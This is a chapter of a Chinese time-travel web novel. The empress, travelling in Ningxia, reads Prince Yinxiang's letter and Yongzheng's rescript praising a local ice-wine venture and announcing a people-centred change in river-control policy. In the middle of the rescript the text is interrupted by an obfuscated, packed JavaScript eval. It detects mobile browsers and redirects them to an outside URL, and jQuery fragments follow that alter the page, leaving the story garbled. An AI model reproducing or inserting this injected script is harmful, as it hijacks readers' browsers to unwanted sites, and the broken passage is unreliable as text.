127.雍正和胤祥的回信

作品:《穿越之宜修

    军营的清晨,是在悠长的号角与整齐的操练声中开始的。天光未大亮,山间的雾气尚未散尽,空气清冷而带着草木与泥土的气息。我们早早起身,简单梳洗用过早膳,便准备向王参将与鄂伦泰参领辞行,计划今日前往黄河更上游的中卫一带看看。


    正要出帐,王参将却匆匆赶来,脸上带着一丝如释重负的笑意,手中捧着一个用油布包裹得严严实实、盖着朱红火漆印信的扁长木匣。


    “皇后娘娘,四阿哥,惠嫔娘娘,万幸!” 王参将躬身将木匣呈上,“昨夜京城有加急驿报送至宁夏将军衙门,其中有一封指明要送达娘娘您手中的密信,并附有一份奏折批复。将军衙门知娘娘在营中,天未亮便派快马送到了营门。末将不敢耽搁,特来呈上。”


    京城来的密信?还有奏折批复?我心中微动。算算日子,我前几日从银川发出的、关于陈介祺冰葡萄酒产业的奏折,若一路顺畅,此刻也该到御前了。莫非是雍正的回复到了?还有这密信……


    我接过木匣,入手沉甸甸。剪秋上前,用小刀仔细剔开火漆,打开木匣。里面果然躺着两样东西:一封是寻常的加封书信,信封上是熟悉的、力透纸背的字体——“皇后亲启”,落款是一个简单的“祥”字;另一份,则是明黄绫面的奏折封皮,上面是雍正的朱批。


    我先拿起了那封信。果然是怡亲王胤祥的笔迹。展开信笺,他的字迹刚劲中带着一丝疲惫,却依旧条理清晰:


    “皇后嫂嫂台鉴:


    接弘历侄儿书信并冰葡萄酒一坛,展读之余,感慨良多。祥自知疏于杯酌,平素见人酩酊失态,步履蹒跚,辄心生厌烦,恐误正事。然此酒不同。


    信中所言,此酒乃塞上秋霜所凝,贫瘠之地所出,百姓增收之途,兼有固土保水之微功。每念及此,觉此物非仅口腹之享,实乃一方百姓心血智慧、 一地官员务实苦干之结晶。其味在酒中,其意实在酒外。


    故今日破例一回,启封细观。酒色澄金黄亮,果香清冽扑鼻。浅酌半盏,甘醇沁脾,后味悠长,确非凡品。更觉其中所寄,远胜酒浆本身。西北乡亲之辛劳,陈知府之巧思,弘历侄儿之体察,皆在其中。此等心意,祥不敢,亦不能辜负。


    酒已妥存,置于案头,以为惕励。祈盼嫂嫂与弘历侄儿沿途珍重,早归京华。


    弟祥顿首”


    信不长,但字里行间,情真意切。尤其是那句“破例一回”和“西北乡亲的心血不能辜负”,将胤祥这位以严苛自律著称的亲王内心柔软、重情明理的一面,展现得淋漓尽致。他能从一坛酒中,看到民生,看到吏治,看到亲情,更将其作为“惕励”置于案头,这份心思,着实令人动容。弘历在一旁看了,脸上也露出欣喜与感动的笑容。


    放下胤祥的信,我拿起那份奏折批复,深吸一口气,缓缓展开。果然是雍正对我前几日奏报的朱批。他的字迹一如既往的峻峭有力,但细细看去,似乎比平日少了几分沉郁,多了些……思索后的明朗?


    批复的前半部分,果然是关于冰葡萄酒的:


    “皇后所奏银川冰葡萄酒事,朕已详览。此酒……甚甜。朕与牛顿、汤执中、郎世宁诸先生共品,皆言 风味殊绝,欧罗巴之冰酒,亦不过如此。陈介祺因地制宜,化天时为地利,导民力以增裕,用心可嘉。”


    看到这里,我几乎能想象出养心殿里,雍正与几位西洋学者对坐品酒、讨论异域风物的场景。他说“甚甜”,这简短的二字背后,恐怕包含了相当程度的认可与满意。毕竟,能让这位对享乐之物近乎苛刻的皇帝说出“甜”字,已属难得。


    批复继续写道,思路清晰而具有前瞻性:“此物既有其妙,当思 推广增益。然冰酒之成,赖于天时,产量或受限制。陈介祺可着其设法,于现有葡萄园基础上,或试种他类适宜品种,或改进酿造工艺,探索非独赖霜冻之其他类型葡萄酒,以丰富品类,扩大产出。所需 技艺指导、 良种引进,可咨询汤执中等西儒,或着理藩院、海关与欧罗巴商船接洽。”


    看到“海关”二字,我心下一动。果然,雍正笔锋一转:“所产佳酿,除供本地、贡内廷外,可择优送往天津。天津海关现已正式开办,各项章程初定。此等新奇之物,正可试销外洋,或沿海南下,开辟市场。既扬我塞上物产之名,亦可为地方增一利源。具体事宜,可着陈介祺与天津海关、内务府协同办理。”


    从肯定成绩,到提出改进方向,再到指明销售渠道,雍正的思路一步接一步,环环相扣,显示他不满足于一地一物的成功,而是试图将其纳入更大的经济布局与对外开放的棋局之中。这无疑给了陈介祺的冰葡萄酒产业一个前所未有的、更广阔的发展平台。


    批复的最后一段,笔迹似乎更加凝重,墨色也更深,显然是深思熟虑后所书:


    “另,览皇后奏中所述,陈介祺赴任途中所见郑县民生之艰,及其‘治河当使百姓得实惠’之论,朕思之良久。以往治河,多虑工程坚固、水患得弭,于沿岸百姓因河工而承受之负累、 失却之生计,虑之未深。陈介祺以冰酒惠农,虽为一隅之策,然其立足民生、 寻求长治之念,颇可借鉴。


    治河大政,关乎国本,耗资巨万,动众数十百万。若能使沿岸百姓,非徒受役使之苦、 贡献之艰,反能因治河而略得生计之补、 收益之增,则 民力可用而怨不生,河工可成而利久远。此非小惠,实为固本之思。


    朕意已决,治河之策,当有所调整。除工程、度支外,需 着户部、工部会同相关督抚,详议如何于治河之余,利用河工所成之便,或于河工间隙,引导沿河百姓发展适宜之副业、 营生,以补其家用,安其心志。此事,可先从陈介祺冰酒、宁夏小矿等事中汲取经验,徐徐图之。


    皇后在外,可将此意略透于陈介祺等勤勉实务之员,令其放开手脚,更大胆些。具体章程,待回京


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081731|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后再议。


    钦此。”


    “治河政策得调整一下了。”


    这短短一句话,重若千钧!它意味着雍正从陈介祺这个“小”案例中,看到了“大”问题,并决心改变延续了数百年的、某种程度上“重工程、轻民生”的治河思路。他要将“使百姓得实惠”正式纳入治河国策的考量范畴,尝试探索一条既能安澜,又能富民的治河新路。这无疑是一个极其重要、也极其艰难的政策转向信号!


    我久久凝视着这几行朱批,心中波澜起伏。没想到一份关于冰葡萄酒的奏报,竟能引动皇帝对基本国策的深刻反思与调整决心。陈介祺当初那个“让百姓得些好处”的朴素念头,其回响竟如此深远。


    “皇额娘?” 弘历见我久久不语,轻声唤道。


    我回过神,将胤祥的信和雍正的批复小心收好,深吸一口气,目光扫过帐中众人——弘历、沈眉庄、剪秋,最后落在候在一旁的王参将脸上。


    “王将军,今日行程有变。” 我清晰地说道,声音里带着一丝不易察觉的激动与郑重,“我们不先去中卫了。立刻备马,我们先回一趟银川府城。”


    “回银川?” 弘历有些意外。


    “对,回银川。” 我肯定地点头,脸上露出笑容,“去把京城来的好消息,亲口告诉陈知府。告诉他,他的冰葡萄酒,皇上和怡亲王都尝了,都说好;告诉他,皇上准他扩大生产,试制新酒,还要通过天津海关,把酒卖到更远的地方去;更要告诉他……”


    我顿了顿,语气变得更加深沉而有力:


    “告诉他,他那个‘让治河百姓得实惠’的想法,皇上知道了,也记在心里了。皇上下旨,要 调整治河大政,以后治河,也要想办法让沿岸的百姓,日子能过得更好些。他陈介祺在银川做的事,不止是酿了一坛好酒,更是为朝廷,趟出了一条值得思量的新路。”


    “这对他来说,恐怕是比发现十座煤矿,还要重要的好消息。咱们,得当面去告诉他。”


    弘历、沈眉庄、剪秋闻言,脸上都露出了振奋与了然的神色。他们明白,这不仅仅是传递消息,更是一种姿态,是对实干者的肯定与激励。


    王参将虽然不甚明了全部,但也知道事关重大,连忙抱拳:“末将明白!这就去安排车马护卫,护送娘娘与阿哥、贵人速返银川!”


    车马再次驶动,这次是向着来时的方向。晨光彻底驱散了山间的薄雾,将远处的贺兰山与近处的黄河水映照得一片金黄。手中的木匣沉甸甸的,里面装着的,不仅是两封书信,更是一颗变革的种子,一份来自帝国最高层的认可与期待。而我们,正要将这颗种子,带回那片它最初萌芽的土地,交给那位勤恳的播种人。


    前路依然有治河的万般艰难,有民生的诸多不易,但至少在此刻,在这塞上深秋的晨光里,我们看到了上下同心、寻求改变的一线曙光。而这,或许只是一个开始。